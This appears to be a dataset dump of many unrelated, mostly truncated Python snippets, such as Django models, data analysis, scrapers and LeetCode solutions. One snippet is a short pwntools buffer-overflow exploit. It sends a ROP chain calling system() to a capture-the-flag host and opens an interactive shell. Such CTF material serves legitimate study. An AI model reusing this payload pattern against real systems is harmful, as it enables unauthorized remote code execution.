text
stringlengths
38
1.54M
from pprint import pprint as pp ## Define variables name = 'Zed A. Shaw' age = 35 # not a lie height = 74.0 # inches heightcm = height*2.54 weight = 180.0 # lbs weightkg = weight*2.2 eyes = 'Blue' teeth = 'White' hair = 'Brown' # Print variables # %d is to introduce a digit variable in a print statement # %s is for s...
# -*- coding: utf-8 -*- from sqlalchemy import Column, Integer, TIMESTAMP, text from application.core.msqldb import Base class WaterLogModel(Base): """ 浇花日志类 """ __tablename__ = 'water_log' id = Column(Integer, primary_key=True) created_at = Column( TIMESTAMP, nullable=False, index=Tr...
#http://www.bkjia.com/Pythonjc/907290.html ''' Skip to content Sign up Sign in This repository Explore Features Enterprise Blog Star 0 Fork 0 taizilongxu/datamining branch: master datamining / apriori / apriori.py hackerxutaizilongxu 20 days ago backup 1 contributor 156 lines (140 sloc) 6.302 kb RawBlameHistory ...
# -*- coding: UTF-8 -*- def getText(): txt=open("D:\\git\\ShakespeareSonnets.txt","r").read() #根据具体路径修改 txt=txt.lower() #小写 return txt ss=getText() words=ss.split() #有空格就分割 counts={} for word in words: #统计放入词典 counts[word]=counts.get(word,0)+1 items=list(counts.items()) #转换为列表 items.sort(key=lambda x:x[1...
def scale_value(x, minimo, maximo): return (x - minimo) / (maximo - minimo) def gen_gen_pertinence(func_values): # VL,L,M,H,VH = func_values def gen_pertinence_very_low(minimo, maximo): def pertinence_very_low(x): x = scale_value(x, minimo, maximo) VL = func_values[0] ...
#! /usr/bin/env python3 import argparse, glob, os, platform, shutil, subprocess, sys, urllib.request, zipfile sys.path.append(os.path.normpath(os.path.join(os.path.dirname(__file__), '..', '..', '..'))) import script.common as common import script.build as build def main(): parser = argparse.ArgumentParser() pars...
#John Paul Lee #Analysis of Iris Data Set #Import Pandas for Data Management import pandas as pd #Import Numpty for Analysis of the data import numpy as np #Import Sys to allow the "Print Results" to be written to a Txt File import sys #Create a Txt File called Analysis and excute the Write Function (Allows the "...
import sys, socket def start(): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind(("127.0.0.1", 47200)) except socket.error: print ("!!!scheduler already started, DO NOTHING") else: from apscheduler.schedulers.background import BackgroundScheduler ...
from app import db class User(db.Model): id = id = db.Column(db.Integer, primary_key=True) userName = db.Column(db.String(64), index=True, unique=True) userEvents = db.relationship('Event', backref='author', lazy='dynamic') def __repr__(self): return '<User %r>' % (self.userName) class Event(db.Model): id = ...
import os def txt(file): with open(file) as f: for line in f: print(line) f.close() txt("D:\\baimayangjin\\jin.html")
import numpy as np from enum import Enum from scipy import linalg class ApproxType(Enum): algebraic = 0 legendre = 1 harmonic = 2 def func(x): """ this method should implement VECTORIZED target function """ return x*np.tan(x) def pol (a,x): return sum([a[i]*x**i for i in range(len(a)...
# Copyright 2013 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ag...
# -*- coding: utf-8 -*- # Copyright 2018 ICON Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
# -*- coding: UTF-8 -*- def det(A): n = len(A) AM = A[:] for fd in range(n): if AM[fd][fd] == 0: AM[fd][fd] = 1.0e-18 for i in range(fd+1, n): crScaler = AM[i][fd] / AM[fd][fd] for j in range(n): AM[i][j] = AM[i][j] - crScaler * AM[fd][j]...
def printTrianle( alist ): string = "" for i in alist: string += str(i) string += " " print(string) def pascalTriangle( rowNum ): """ 输出Pascal三角形。程序里应接受一个参数来定义三角形的行数 每行的数字都是由 上一行的对角线数字相加而得 停止条件: rowNum == 1 递进: rowNum -- """ if rowNum == 1: printTrianle...
# File: c (Python 2.7) import re import os import subprocess import logging import datetime class ComputeNodeInventory: def __init__(self, computeNodeDict, noPMCFirmwareUpdateModels, computeNodeResources, healthResourceDict): self.computeNodeResources = computeNodeResources self.C...
# Generated by Django 2.0 on 2020-06-03 14:52 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('games', '0002_auto_2020060...
from django.shortcuts import render_to_response, redirect from django.urls import reverse import csv from django.core.paginator import Paginator def index(request): return redirect(reverse(bus_stations)) def bus_stations(request): with open('data-398-2018-08-30.csv', encoding='cp1251') as csvfile: ...
import pandas as pd from sklearn.linear_model import LogisticRegression from sklearn import cross_validation from sklearn.metrics import accuracy_score creditData = pd.read_csv("C:\\Users\\User\\Desktop\\credit_data.csv") features = creditData[["income","age","loan"]] target = creditData.default model = Lo...
# Ankit Kejriwal # akejriw1@uncc.edu # 801156091 from sys import argv from struct import unpack dictionary_size = 256 file_name, bit_length = argv[1:] MAX_TABLE_SIZE = 2**int(bit_length) decoder_dictionary = {} # Store the character in the dictionary for i in range(dictionary_size): decoder_dictionary[i] = chr(i...
import dpm import itertools import scipy.stats from operator import itemgetter dis = dpm.rsa.dissimilarity #-------------------------------------------------------------- def generate_all_2digit_stim(): result = [] for d in (2, 3, 5, 8): for u in (2, 3, 5, 8): for loc in range(5): ...
def copy_model(model, attrs={}): model.pk = None model.id = None model.save() for attr in attrs: setattr(model, attr, attrs[attr]) model.save() return model def copy_page(page, parent=None, attrs={}): '''copy page, children, and all related models recursively and set provide...
import csv import numpy as np def make_timeseries_instances(): x = [] y = [] with open('day6_10.csv', newline='') as csvfile: reader = csv.reader(csvfile, delimiter=',') for row in reader: int_row = [int(x) for x in row] x.append(int_row[:-1]) y.append(i...
from concurrent import futures __copyright__ = ''' Copyright 2018 the original author or authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LIC...
class GenAlgo: def __init__(self): pass def __call__(self, *args): self.known = {} self.steps = 0 return self.__algo__(*args) def __algo__(self,k,n,m): kn = self.known.get((k,n), None) if kn != None: #print(f'known: {k}, {n} : ...
import keras from keras.preprocessing.image import ImageDataGenerator from keras.models import Sequential from keras.layers import Dense, Dropout, Activation, Flatten, BatchNormalization from keras.layers import Conv2D, MaxPooling2D import os num_classes = 5 # Indicates the number of expressions img_rows, img_cols = ...
from .getSwapFace import getSwapFace # from .face_detection import select_face from .face_detection import select_face from .face_swap import face_swap
# Aidan O'Connor - G00364756 - 22/03/2018 # Programming_Project - Investigate the iris data set and # create analysis based on research previously conducted # References: # Link to csv file = https://archive.ics.uci.edu/ml/datasets/iris # Adapted from code learned from lectures by Dr. Ian McGlouglin. # This c...
from application import app as api from database.base import db from flask import Flask, request, make_response, jsonify import datetime import json from models.pothole import Pothole # List potholes... # [GET] # @return response @api.route('/list') def list(): potholes = Pothole.query.all() list = [] # ...
nota1 = float(input('Primeira nota: ')) nota2 = float(input('Segunda nota: ')) media = (nota1 + nota2) / 2 print('Calculando {:.1f} e {:.1f}, a média do aluno foi {:.1f}'.format(nota1, nota2, media)) if media >=5 and media < 7: print('O aluno esta de recuperação, com média {:.1f}'.format(media)) elif media < 5: ...
import functools import typing from discord.ext import commands @functools.lru_cache(maxsize=None) def in_guild(id_: int) -> typing.Callable[[commands.Command], commands.Command]: # this decorator turns this into a decorator itself @commands.check def actual_check(ctx: commands.Context) -> bool: ...
from django import forms from .models import Metro, Graph class MetroRouteForm(forms.Form): uinpsrc = forms.CharField(label="Source Metro Station ", max_length=100) uinpdest = forms.CharField(label="Destination Metro Station ", max_length=100) uinpsrc.widget.attrs.update({'list': 'station'}) uinpdest...
# -*- coding: utf-8 -*- """ Created on Thu Feb 18 13:23:51 2021 @author: tushar """ import librosa import sys import numpy as np import logging logging.basicConfig(filename="logfile.log",format='%(asctime)s %(message)s',filemode='a') logger=logging.getLogger() logger.setLevel(logging.DEBUG) def spectrogra...
import matplotlib.pyplot as plt import numpy as np import torch def softmax(x): exp = np.exp(x) return exp / np.sum(exp) def predictions_to_class_info(pred, class_labels): pred = softmax(pred) class_id = np.argmax(pred) class_prob = pred[class_id] #class_labels = np.loadtxt(open(label_file),...
import detectron2 from detectron2.utils.logger import setup_logger setup_logger() # import some common libraries import numpy as np import cv2 import argparse # import some common detectron2 utilities #from detectron2.engine import DefaultPredictor from detectron2.utils.visualizer import Visualizer from detectron2.en...
## # File: PubChemEtlWorkflowTests.py # Author: J. Westbrook # Date: 29-Jul-2020 # # Updates: # 13-Mar-2023 aae Disable git stash testing ## """ Tests for PubChem ETL workflow methods """ __docformat__ = "google en" __author__ = "John Westbrook" __email__ = "jwest@rcsb.rutgers.edu" __license__ = "Apache 2.0" ...
import r8 class Basic(r8.Challenge): """ A *very* basic challenge that only has a title. This can be useful to for example record class attendance. """ @property def title(self): return self.args
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations import django.contrib.postgres.fields import django.contrib.postgres.fields.hstore import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('contenttypes', '0002_remo...
from selenium import webdriver import urllib2 import time import shutil import requests driver = webdriver.Chrome() driver.get("https://en.wikipedia.org/wiki/Cabinet_of_Donald_Trump") profile = driver.find_elements_by_class_name('thumbborder') # Cycle through each connection's picture for i in range(0,24): drive...
import warnings import numpy import pytest from starfish.errors import DataFormatWarning from starfish.test.dataset_fixtures import synthetic_stack NUM_HYB = 2 NUM_CH = 2 NUM_Z = 2 HEIGHT = 10 WIDTH = 10 def create_tile_data_provider(dtype: numpy.number, corner_dtype: numpy.number): """ Makes a stack that...
from django.conf.urls import patterns, include, url from django.contrib import admin admin.autodiscover() from django.contrib.staticfiles.urls import staticfiles_urlpatterns urlpatterns = patterns('', # Examples: # url(r'^$', 'diloo.views.home', name='home'), # url(r'^blog/', include('blog.urls')), ...
import re import urllib import os #读取http远程文件 root="http://www.nsu.edu.cn" path="http://www.nsu.edu.cn/HTML/image/article_60.html" page=urllib.urlopen(path) content=page.read() #构造正则表达式 reg=r'href="(.+?\.jpg)"' pattern=re.compile(reg) list1=pattern.findall(content) count=0 for i in list1: path=root+i c...
#!/usr/bin/env python3 # examples of how to iterate through lists to do stuff # Example 1: modify each thing in list print("Example 1:") def modify1(numbers, func): for index, number in enumerate(numbers): numbers[index] = func(number) numbers = [1, 2, 3, 4, 5, 4, 3, 2, 1] print(numbers) modify1(numbers...
import os import cv2 for images in os.listdir('static/images'): img = cv2.imread('static/images/'+images, cv2.IMREAD_UNCHANGED) scale_percent = 60 # percent of original size width = int(img.shape[1] * scale_percent / 100) height = int(img.shape[0] * scale_percent / 100) dim = (width, height) re...
# Module login # Modul ini adalah realisasi dari fitur login # pada program ini. Pada modul ini terdiri dari # Fungsi-fungsi yang berkaitan dengan login # PUSTAKA from core.database import getTable from .password import isValidPassword # KAMUS # module login() # Modul ini akan menerima input username dan password #...
""" buff library ==________== """ from logic.models import Role, WakeUpEnum, RoleEnum, PlayerBuff, Buff, BuffType, Duration, Player not_dead_list_at_night = [RoleEnum.wolfman.value, RoleEnum.half_breed.value, RoleEnum.emotional.value] def kill(player_buff, player): if player.role.name in not_dead_list_at_night: ...
#!/usr/bin/python3.5 L = [x * x for x in range(1, 11)] print(r"[x * x for x in range(1, 11)]") print(L) L = [x * x for x in range(1, 11) if x % 2 == 0] print(r"[x * x for x in range(1, 11) if x % 2 == 0]") print(L) L = [m + n for m in 'ABC' for n in 'XYZ'] print(r"[m + n for m in 'ABC' for n in 'XYZ']") print(L) im...
import requests import random import os import time from classLogStuff import classLogStuff class classProxyStuff: cl = classLogStuff() usProxies = [] currentProxyIndex = 0 def getProxy(self): proxy = self.getNextProxy() if not proxy: msg = "zzz30 failed to get a proxy from...
import numpy as np import matplotlib.pyplot as plt # include if using a Jupyter notebook # %matplotlib inline # Data # derived from plot_cor_bar.ncl # f1 = open("./bar_cor_mme_1_1861.txt","r") # f2 = open("./bar_cor_err_1_1861.txt","r") # f3 = open("./bar_cor_mme_2_1861.txt","r") # f4 = open("./bar_cor_err_2_1861.txt"...
def maxArea(A): area = 0 for i in range(len(A)): for j in range(len(A)): if i == j: continue new_area = min(A[i], A[j]) * abs(A[i] - A[j]) if new_area >= area: area = new_area return area
from django.contrib import admin from .models import Manga, Categoria # Register your models here. admin.site.register(Categoria) admin.site.register(Manga)
import vk from django.http import JsonResponse, HttpResponse from hierarchy.models import DepartmentType, Department from PiCloud.settings.common import VK_GLOBAL_TOKEN, VK_API_VERSION def search_universities(request): session = vk.Session(access_token=VK_GLOBAL_TOKEN) vk_api = vk.API(session) universit...
#!/usr/bin/env python # coding=utf-8 from pwn import* s=remote('pwn2.jarvisoj.com',9882) t='A'*0x88 ad_sys=0x400603 ad_pop=0x4006b3 agre=0x600a90 payload=t+p64(ad_pop)+p64(agre)+p64(ad_sys) s.sendline(payload) s.interactive()
"""Library of L1 mock action tasks to be performed on L1 events. For more information see the Bonsai header file, especially dedisperser::process_triggers. Feel free to write your own task and add it to the INDEX. """ import abc class BaseAction(object): """Abstract base class for event actions. All acti...
class Solution: def halvesAreAlike(self, s: str) -> bool: c = ['a','e','i','o','u','A','E','I','O','U'] a_l = 0 b_l = 0 for i in s[:len(s)//2]: if i in c: a_l+=1 for i in s[len(s)//2:]: if i in c: b_l +=1 return ...
# Time: O(n) # Space: O(1) # # Given a string, find the length of the longest substring without repeating characters. # For example, the longest substring without repeating letters for "abcabcbb" is "abc", which the length is 3. # For "bbbbb" the longest substring is "b", with the length of 1. # class Solution: ...
from testNewResume import processNewFiles,displayRole import pandas as pd def getFlatList(skillBag): flatSet = set() for skillList in skillBag: for skill in skillList: flatSet.add(skill) return flatSet df = pd.read_pickle('resolvedSkills') # create separate lists for each job profile BE_skill_b...
from app.ext import db # 字母模型类 class Letter(db.Model): id = db.Column(db.Integer, primary_key=True, autoincrement=True) name = db.Column(db.String(4)) # 城市列表 l_cities = db.relationship('City', backref='letter', lazy=True) # 城市模型类 class City(db.Model): id = db.Column(db.Integer, primary_key=True) ...
######################################################### ######################################################## edges = [['0','1'],['1','2'],['1','4'],['2','3'],['2','4'],['3','4'],['4','5'],['5','6'],['6','7']] test_cases = [] #list of all test_case objects cfgs = [] #list of all cfg objects result_vector = [] #...
############################################################################## # Copyright (c) 2018 Eynes/E-MIPS (www.eynes.com.ar) # License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html). ############################################################################## from . import invoice # noqa from ...
#!/usr/bin/python # -*- coding: utf-8 -*- import unittest from grupos_personas import Person, Group class Groups(unittest.TestCase): def setUp(self): self.p0 = Person("juan", 18) self.p1 = Person("tito", 34) self.p2 = Person("carlos", 36) self.p3 = Person("jose", 28) def te...
class BaseAnalyzer(object): def __init__(self): pass def __call__(self, ann): text = ann.text ares = self.analyze(text) ann.ares = ares return ann def analyze(self, text): """ 对文本进行词法和语法分析,返回一个包含Sen对象的列表 """ raise NotImplementedError
from recsys.algorithm.factorize import SVD from recsys.datamodel.data import Data data = [(4.0, 'user1', 'item1'), (2.0, 'user1', 'item3'), (1.0, 'user2', 'item1'), (5.0, 'user2', 'item4')] d = Data() d.set(data) svd = SVD() svd.set_data(d) m = svd.get_matrix() svd.compute(k=2) print svd.similar('user1') print svd...
import sys,os,os.path import unittest sys.path.append(os.path.expanduser('../lib/')) from whole_history_rating import base from whole_history_rating import player as pl whr = base.Base() for game in range(1, 10): whr.create_game("anchor", "player", "B", 1, 0) whr.create_game("anchor", "player", "W", 1, 0) ...
def wrapper(f): def fun(l): decorated_numbers = [] for number in l: decorated_numbers.append("+91 " + number[-10:-5] + " " + number[-5:]) return f(decorated_numbers) return fun @wrapper def sort_phone(l): print(*sorted(l), sep='\n') if __name__ == '__main__': l =...
#!/usr/bin/python3 #@Author:CaiDeyang #@Time: 2018/9/27 20:29 from concurrent.futures import ProcessPoolExecutor # d导入进程池模块 from concurrent.futures import ThreadPoolExecutor #导入线程池模块 from threading import currentThread import time def task(name): time.sleep(3) print(name, currentThread()) if __name__ == "__ma...
from bs4 import BeautifulSoup as Soup import requests with open('naatp_urlsfinal.txt', 'a') as w: with open('naatp_urls.txt', 'r', encoding='utf-8-sig') as r: for i in r.readlines(): page = requests.get(i, headers={'User-Agent':'test'}) soup = Soup(page.content) ...
#!/usr/bin/env python """ """ from dataclasses import dataclass, astuple from os.path import exists from functools import lru_cache from math import dist from secrets import randbelow import yaml from .parameters import Parameters CITIES = "cities.yml" @lru_cache(maxsize=None) def distance(c0, c1): return dist(...
# -*- coding: utf-8 -*- """ Created on Sun May 31 14:34:08 2020 @author: erika """ # Import libraries # import pandas as pd import numpy as np import matplotlib.pyplot as plt # importing datasets # datasets = pd.read_excel('HIST_PAINEL_COVIDBR_18mai2020.xlsx') x = list(range(1, 84)) x = np.array(x) x = x.reshape((...
# Copyright (C) 2019 The Raphielscape Company LLC. # # Licensed under the Raphielscape Public License, Version 1.c (the "License"); # you may not use this file except in compliance with the License. # # TheCyberUserBot - Luciferxz import io import re import userbot.modules.sql_helper.blacklist_sql as sql from userbo...
import json json_file='transcript_result.json' json_data=open(json_file) data = json.load(json_data) with open('transcript.txt', 'a') as the_file: for x in range(len(data['results'])): if (x %2 == 0): the_file.write('Interviewer: ') else: the_file.write('Participant: ') ...
import json config_filepath = "../config.json" def dbConfig(): # return Fibonacci series up to n try: with open(config_filepath) as json_data_file: data = json.load(json_data_file) return data["mysql"] except Exception as e: raise e if __name__ == "__main__": d...
# coding: utf-8 # GPIO 모듈 import RPi.GPIO as GPIO import tkinter as tk import time # 핀 번호 할당으로 처리 : 핀번호 설정 GPIO.setmode(GPIO.BOARD) # 핀번호 설정 : chanel LED_R = 11 LED_Y = 16 LED_G = 22 # 11번 핀 출력 핀으로 등록, 초기 출력은 LOW = 0 False GPIO.setup(LED_R, GPIO.OUT, initial=GPIO.LOW) # 16번 핀 출력 핀으로 등록 GPIO.setup(LED_Y, GPIO.O...
import tensorflow as tf import sys def gaussian_kernel(size: int, mean: float, std: float): d = tf.distributions.Normal(mean, std) vals = d.prob(tf.range(size, dtype = tf.float32)) gauss_kernel = tf.einsum('i,j,k->ijk', vals, vals, vals) # normalise gauss kernel to sum = 1 kerng...
#This is a library that runs the regime-filtering analysis import numpy as np #for numerical array data import pandas as pd #for tabular data from scipy.optimize import minimize import matplotlib.pyplot as plt #for plotting purposes import cvxpy as cp def filter_time_series(data, nameCol, dateCol, paramLambda): ...
# -*- coding: utf-8 -*- # Define here the models for your scraped items # # See documentation in: # https://doc.scrapy.org/en/latest/topics/items.html import scrapy class MeituanItem(scrapy.Item): # define the fields for your item here like: # name = scrapy.Field() collection = 'meituan_meishi' # 店铺...
#!/usr/bin/python3 print ('Starting garage door server') from http import HTTPStatus from http.server import HTTPServer, BaseHTTPRequestHandler from os import environ from time import sleep from zeroconf import ServiceInfo, Zeroconf HTTP_PORT = 80 RELAY_DELAY = 0.3 DEVICE = '/sys/class/gpio/gpio4' DATA_PATH = envi...
def msec_to_sec(msecs): """Convert milliseconds to seconds. Arguments: msecs: milliseconds Returns: int: input converted from milliseconds to seconds """ return msecs / 1000 class CyclicAudioBuffer: """A Cyclic audio buffer for storing binary data. TODO: The class is sti...
""" Created on 11/12/2019 @author: Sunny Raj """ """ Problem Statement: Write a program to get execution time for a Python method. """ #importing time module import time #time() method stores the number of seconds passed since epoch start_time = time.time() print(start_time) #Sample program color_list_1 = set(["White...
#!C:\Users\Dmitrii\PycharmProjects\Python_lessons_basic\lesson05\examples\5_with_args.py # Данный скрипт можно запускать с параметрами: # python with_args.py param1 param2 param3 import os import sys from shutil import copyfile import lesson05.home_work.hw05_easy as easy print('sys.argv = ', sys.argv) def print_help(...
#! /usr/bin/env python3 # -*- encoding: utf-8 -*- """ extensions.py Flask拡張一覧 """ __author__ = 'Yoshiya Ito <myon53@gmail.com>' __version__ = '1.0.0' __date__ = '2019-12-01' from flask_sqlalchemy import SQLAlchemy db = SQLAlchemy()
#/usr/bin/env python3 import secrets FACES=['Q','A','2','3','4','5','6','7','8','9'] SUITES=[ '♣' ] CIPHER={ 'zth' : 5 , 'offset' : len(FACES)*len(SUITES)-5 } CUT={ 'zth' : 1 , 'offset' : len(FACES)*len(SUITES)-2 } PREFIX_LEN = 4 def create(): n = len(FACES)*len(SUITES) return [i for i in range(n)] def shuf...
# Copyright 2023 Hathor Labs # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, s...
"""Interface for information operators.""" import abc from typing import Callable, Optional import numpy as np from probnum import problems, randprocs from probnum.typing import FloatArgType, IntArgType __all__ = ["InformationOperator", "ODEInformationOperator"] class InformationOperator(abc.ABC): r"""Informa...
# -*- coding: utf-8 -*- """ Loads an empty nonogram grid from a file and solve it. Using -p option the program perform a profile of the solving process Using -t X option run the solving several times and outputs statistics """ from __future__ import print_function from time import time import cProfile, psta...
# Write for loops to produce the following output: # ***** # ***** # ***** # ***** width = int(input("Width of Rectangle: ")) height = int(input("Height of Rectangle: ")) for _ in range(height): for __ in range(width): print("*", end="") print("")
import bpy from bpy import * from bpy.props import * from .icons.icons import load_icons from toolplus_bounding.history_ui import draw_history_layout from toolplus_bounding.main_ui import draw_panel_layout from toolplus_bounding.visual_ui import draw_visual_layout EDIT = ["EDIT_MESH", "EDIT_CURVE", "EDIT_SURFACE", "...
""" #################### gfunc_build.py #################### Script supporting the construction and saving of a new gfunc graph database from user options. """ import pdb import argparse import cPickle import yaml from gfunc.data_classes import Bunch,bunchify from gfunc.analysis_classes import RelationsHandler from ...
from typing import List from enum import Enum class InvalidInstruction(Exception): def __init__(self, message: str) -> None: super().__init__(message) class OperationType(Enum): OP_PUSH = 1, OP_DUMP = 2, OP_PLUS = 3, OP_SUB = 4, OP_MUL = 5, OP_DIV = 6 class...
import smtplib from email.message import EmailMessage from email.utils import formatdate def send_mail(request, mail_list, text, subject, html=None, signature='Infolica'): """ mail_list: list of mail adresses (send to) text: Mail text. Note that mail footer is set to "Ce courrier a été généré automatiquem...
import re # Like() # - LIKE문 처리 # - [예] "LIKE A1.8301" --> "re.compile(r'^A1.8301$')" def Like(query): query = query.replace('"',"'") like = query[query.find("LIKE '")+6:] like = like[:like.find("';")] pat = re.compile("%") like = pat.sub(".*", like) pat_underbar ...
# Реализовать структуру «Рейтинг», представляющую собой не возрастающий набор натуральных чисел. # У пользователя необходимо запрашивать новый элемент рейтинга. Если в рейтинге существуют элементы # с одинаковыми значениями, то новый элемент с тем же значением должен разместиться после них. # Подсказка. Например, набор...
# Generated by Django 2.2.4 on 2020-01-27 13:06 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('polls', '0001_initial'), ] operations = [ migrations.AddField( model_name='question', name='question_desc', ...
#@+leo-ver=5-thin #@+node:ekr.20140723122936.18146: * @file ../plugins/importers/org.py """The @auto importer for the org language.""" from __future__ import annotations import re from typing import TYPE_CHECKING from leo.plugins.importers.base_importer import Block, Importer if TYPE_CHECKING: from leo.core.leoCom...
import json import match match = match.game match = json.loads(match) match = json.dumps(match) print(match)
from django.shortcuts import render from django.http import HttpResponseRedirect from django.core.urlresolvers import reverse from django.core.paginator import Paginator,EmptyPage,PageNotAnInteger from myapps.models import Topic,Distribute from myapps.forms import TopicForm,ForwardForm,ForwardForm1 # Create your views...
from django.conf.urls import include, url from django.contrib import admin from django.conf.urls.static import static from django.conf import settings from rest_framework.authtoken import views urlpatterns = [ url(r'^admin/', include(admin.site.urls)), url(r'^usuarios/', include('usuarios.urls', namespace="usu...
from 클래스만들기.사람모듈 import * import 클래스만들기.매일 as my class WomanDay(Person, my.Day): #파이썬 :클래스간 다중 상속이 가능하다. #자바 : 클래스간 단일산속만 가능하다 #day 생성자는 파라메터가 있는 생성자이므로 상속 받아 객체 생성할때는 생성자 정의를 해줘야 함 def __init__(self, work, time, place): # 다중 상속이므로 Super.이 아니마 my.Day를 써줘야 함 my.Day.__init__(self, work, time, place)...
# (C) Copyright [2020] Hewlett Packard Enterprise Development LP # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the "Software"), # to deal in the Software without restriction, including without limitation # the rights to use, copy,...
class Solution(object): def wfs(self,nums,v): for j in range(len(v)-1, -1, -1): if v[j][-1] + nums[v[j][-1]] < len(nums)-1: position = v[j][-1] v[j] = v[j][:-1] + [nums[position + 1], position + 1] for i in range(position + 2, position + nums[posit...